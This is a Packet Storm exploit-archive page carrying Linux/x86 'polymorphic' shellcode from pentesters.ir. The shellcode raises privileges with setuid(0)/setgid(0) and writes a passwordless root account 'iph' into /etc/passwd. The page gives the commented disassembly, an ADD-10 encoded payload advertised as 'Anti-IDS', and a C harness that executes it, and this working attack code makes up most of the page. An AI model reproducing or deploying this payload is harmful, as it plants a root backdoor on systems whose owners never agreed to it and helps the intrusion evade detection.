exploit the possibilities

Polymorphic Add User Shellcode

Polymorphic Add User Shellcode
Posted Jan 1, 2012
Authored by Pentesters.ir

Linux/x86 polymorphic shellcode that escalates uid/gid and adds user iph to /etc/passwd without a password.

tags | x86, shellcode
systems | linux
MD5 | 5f068501a4c3a979131005f6ce38a5dc

Polymorphic Add User Shellcode

Change Mirror Download
/*
# Exploit Title: Linux/x86 Polymorphic ShellCode - setuid(0)+setgid(0)+add user 'iph' without password to /etc/passwd
# setuid() - setgid() - open() - write() - close() - exit()
# Date: 30/12/2011
# Author: pentesters.ir
# Tested on: Linux x86 - CentOS 6.0 - 2.6.32-71
# Website: http://pentesters.ir/
# Contact: Cru3l.b0y@gmail.com
# By: Cru3l.b0y
# iph::0:0:IPH:/root:/bin/bash
# This ShellCode is Anti-IDS
# Encode: ADD 10

"\xb0\x17" // mov $0x17,%al
"\x31\xdb" // xor %ebx,%ebx
"\xcd\x80" // int $0x80
"\xb0\x2e" // mov $0x2e,%al
"\x53" // push %ebx
"\xcd\x80" // int $0x80
"\x6a\x05" // push $0x5
"\x58" // pop %eax
"\x31\xc9" // xor %ecx,%ecx
"\x51" // push %ecx
"\x68\x73\x73\x77\x64" // push $0x64777373
"\x68\x2f\x2f\x70\x61" // push $0x61702f2f
"\x68\x2f\x65\x74\x63" // push $0x6374652f
"\x89\xe3" // mov %esp,%ebx
"\x66\xb9\x01\x04" // mov $0x401,%cx
"\xcd\x80" // int $0x80
"\x89\xc3" // mov %eax,%ebx
"\x6a\x04" // push $0x4
"\x58" // pop %eax
"\x31\xd2" // xor %edx,%edx
"\x52" // push %edx
"\x68\x62\x61\x73\x68" // push $0x68736162
"\x68\x62\x69\x6e\x2f" // push $0x2f6e6962
"\x68\x6f\x74\x3a\x2f" // push $0x2f3a746f
"\x68\x3a\x2f\x72\x6f" // push $0x6f722f3a
"\x68\x3a\x49\x50\x48" // push $0x4850493a
"\x68\x3a\x30\x3a\x30" // push $0x303a303a
"\x68\x69\x70\x68\x3a" // push $0x3a687069
"\x89\xe1" // mov %esp,%ecx
"\x6a\x1c" // push $0x1c
"\x5a" // pop %edx
"\xcd\x80" // int $0x80
"\x6a\x06" // push $0x6
"\x58" // pop %eax
"\xcd\x80" // int $0x80
"\x6a\x01" // push $0x1
"\x58" // pop %eax
"\xcd\x80" // int $0x80
*/

// ##### ANTI IDS SHELLCODE #####

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char sc[] =
"\xeb\x11\x5e\x31\xc9\xb1\x64\x80\x6c\x0e\xff\x0a\x80\xe9"
"\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\xba\x21\x3b\xe5"
"\xd7\x8a\xba\x38\x5d\xd7\x8a\x74\x0f\x62\x3b\xd3\x5b\x72"
"\x7d\x7d\x81\x6e\x72\x39\x39\x7a\x6b\x72\x39\x6f\x7e\x6d"
"\x93\xed\x70\xc3\x0b\x0e\xd7\x8a\x93\xcd\x74\x0e\x62\x3b"
"\xdc\x5c\x72\x6c\x6b\x7d\x72\x72\x6c\x73\x78\x39\x72\x79"
"\x7e\x44\x39\x72\x44\x39\x7c\x79\x72\x44\x53\x5a\x52\x72"
"\x44\x3a\x44\x3a\x72\x73\x7a\x72\x44\x93\xeb\x74\x26\x64"
"\xd7\x8a\x74\x10\x62\xd7\x8a\x74\x0b\x62\xd7\x8a";

int main()
{
int (*fp)() = (int(*)())sc;
printf("bytes: %u\n", strlen(sc));
fp();
}
Login or Register to add favorites

File Archive:

September 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    14 Files
  • 2
    Sep 2nd
    19 Files
  • 3
    Sep 3rd
    9 Files
  • 4
    Sep 4th
    1 Files
  • 5
    Sep 5th
    2 Files
  • 6
    Sep 6th
    3 Files
  • 7
    Sep 7th
    12 Files
  • 8
    Sep 8th
    22 Files
  • 9
    Sep 9th
    17 Files
  • 10
    Sep 10th
    19 Files
  • 11
    Sep 11th
    3 Files
  • 12
    Sep 12th
    2 Files
  • 13
    Sep 13th
    15 Files
  • 14
    Sep 14th
    16 Files
  • 15
    Sep 15th
    15 Files
  • 16
    Sep 16th
    7 Files
  • 17
    Sep 17th
    13 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close